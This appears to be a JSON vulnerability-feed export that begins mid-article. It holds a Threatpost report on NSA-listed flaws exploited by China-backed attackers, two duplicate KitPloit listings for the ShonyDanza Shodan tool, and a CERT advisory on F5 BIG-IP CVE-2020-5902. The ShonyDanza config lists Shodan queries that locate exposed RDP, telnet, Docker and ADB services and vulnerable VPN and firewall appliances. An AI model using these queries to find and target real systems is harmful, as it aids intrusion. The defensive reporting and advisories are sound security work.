Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2022-04-07T12:01:24", "description": "[](<https://blogger.googleusercontent.com/img/a/AVvXsEjG7AfpHcNjkzZMtvplE2bYVsPCgZ1wyo5jesct_CsGBPhciWCUWFhqC4SLSNboL7iPTWtI0RpGyHZQCbSylFXDC1py1fWqO3vCbpVdYDcHTRT2va2EUO1Vp9dPAgOP6FamNin8VZZdxS42vTbMMddcAUnuN5AAWWwfJDH2pfpmQhjA5RV51QbUk8BqJQ=s586>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 [console](<https://www.kitploit.com/search/label/Console> \"console\" ) [gateway](<https://www.kitploit.com/search/label/Gateway> \"gateway\" ) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' } #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' \"&gt;\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of /\"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-27T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-27T20:30:00", "id": "KITPLOIT:4707889613618662864", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to_01477721372.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:01:27", "description": "[](<https://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/s1600/ShonyDanza_1_shonydanza_demo-780791.gif>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of / \"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-01T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-01T20:30:00", "id": "KITPLOIT:4421457840699592233", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cert": [{"lastseen": "2021-09-28T17:51:55", "description": "### Overview\n\nF5 BIG-IP provides a Traffic Management User Interface (TMUI), also referred to as the Configuration utility, that has multiple vulnerabilities including a remotely exploitable [command injection](<https://cwe.mitre.org/data/definitions/74.html>) vulnerability that can be used to execute arbitrary commands and subsequently take control of a vulnerable system.\n\n### Description\n\nF5 BIG-IP devices provide load-balancing capability to application services such as HTTP and DNS. The F5 BIG-IP TMUI management web interface improperly neutralizes untrusted user input and can be abused by unauthenticated remote attackers to perform malicious activities such as cross-site scripting (XSS), cross-site request forgery (CSRF), and command injection [CWE-74](<https://cwe.mitre.org/data/definitions/74.html>). F5 has also announced that BIG-IP devices do not properly enforce access controls to sensitive configuration files that be read and overwritten by an authenticated user via Secure Copy (SCP). The vulnerability identified by CVE-2020-0592 can be abused to achieve arbitrary code execution on the target device with root privileges.\n\nUnderlying causes and factors in these vulnerabilities include:\n\n * Improper configuration and a lack of identify checks, see recent article from NCC Group. [Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/>)\n * The TMUI fails to enforce proper authentication and authorization, see [OWASP Recommendations](<https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html>)\n * The TMUI web interface does not normalize user's input to prevent both XSS and CSRF, allowing a [\"Deadly Combinations of XSS and CSRF\"](<https://owasp.org/www-pdf-archive/OTD2011-SK.pdf>)\n * Lack of role-based access checks allows for for unexpected file access, see [Role-Based Access Control Models](<https://csrc.nist.gov/CSRC/media/Projects/Role-Based-Access-Control/documents/sandhu96.pdf>)\n\nF5 recommends that the TMUI web interface should be accessible only from a secure or an out-of-band network and not directly from the Internet ([K13092](<https://support.f5.com/csp/article/K13092>)). However, many installations, as observed by [Bad Packets](<https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/>), do not seem to follow this recommendation.\n\n### Impact\n\nAn unauthenticated attacker with network access to the TMUI may be able to execute arbitrary system commands, create or delete files, disable services, and subsequently execute arbitrary code with high privileges such as root. An authenticated user is also be able to perform unexpected activities such as changing configuration files on a vulnerable device.\n\n### Solution\n\n#### Apply updates\n\nF5 has provided updated software for the several impacted versions of BIG-IP devices. Note that BIG-IP appliances as well as virtual instances are also vulnerable as identified by F5 advisories. It is highly recommended that you upgrade to the latest secure and stable software provided by F5. These updates are essential to your device's security, even if the TMUI is not accessible over the Internet. The upgrade reduces the risk to your device being compromised using CSRF or XSS attacks.\n\n#### Workarounds\n\nIn many cases, an attack against BIG-IP's recent vulnerabilities require access to TMUI. Blocking or disabling access to TMUI from untrusted networks is highly recommended. F5 has also provided multiple temporary workaround options in their advisory.\n\n### Acknowledgements\n\nSeveral of these vulnerabilities were reported by Mikhail Klyuchnikov of Positive Technologies, who worked with F5 on a coordinated disclosure.\n\nThis document was written by Vijay Sarvepalli.\n\n### Vendor Information\n\n290915\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### F5 Networks Inc. __ Affected\n\nUpdated: 2020-07-08 **CVE-2020-5902**| Affected \n---|--- \n**CVE-2020-5903**| Affected \n**CVE-2020-5904**| Affected \n**CVE-2020-5905**| Affected \n**CVE-2020-5906**| Affected \n**CVE-2020-5907**| Affected \n**CVE-2020-5908**| Affected \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://support.f5.com/csp/article/K52145254>\n * <https://support.f5.com/csp/article/K43638305>\n * <https://support.f5.com/csp/article/K31301245>\n * <https://support.f5.com/csp/article/K07051153>\n * <https://support.f5.com/csp/article/K82518062>\n * <https://support.f5.com/csp/article/K00091341>\n * <https://support.f5.com/csp/article/K33023560>\n\n#### CERT Addendum\n\nPlease see recent advisories provided by F5 to address these vulnerabilities.\n\n \n\n\n### References\n\n * <https://support.f5.com/csp/article/K52145254>\n * <https://support.f5.com/csp/article/K43638305>\n * <https://support.f5.com/csp/article/K31301245>\n * <https://support.f5.com/csp/article/K07051153>\n * <https://support.f5.com/csp/article/K82518062>\n * <https://support.f5.com/csp/article/K00091341>\n * <https://support.f5.com/csp/article/K33023560>\n * <https://github.com/yassineaboukir/CVE-2020-5902>\n * <https://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2020-5902 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5902>) [CVE-2020-5903 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5903>) [CVE-2020-5904 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5904>) [CVE-2020-5905 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5905>) [CVE-2020-5906 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5906>) [CVE-2020-5907 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5907>) [CVE-2020-5908 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-5908>) \n---|--- \n**Date Public:** | 2020-06-30 \n**Date First Published:** | 2020-07-08 \n**Date Last Updated: ** | 2020-07-13 14:00 UTC \n**Document Revision: ** | 2 \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-08T00:00:00", "type": "cert", "title": "F5 BIG-IP contains multiple vulnerabilities including unauthenticated remote command execution", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0592", "CVE-2020-5902", "CVE-2020-5903", "CVE-2020-5904", "CVE-2020-5905", "CVE-2020-5906", "CVE-2020-5907", "CVE-2020-5908"], "modified": "2020-07-13T14:00:00", "id": "VU:290915", "href": "https://www.kb.cert.org/vuls/id/290915", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}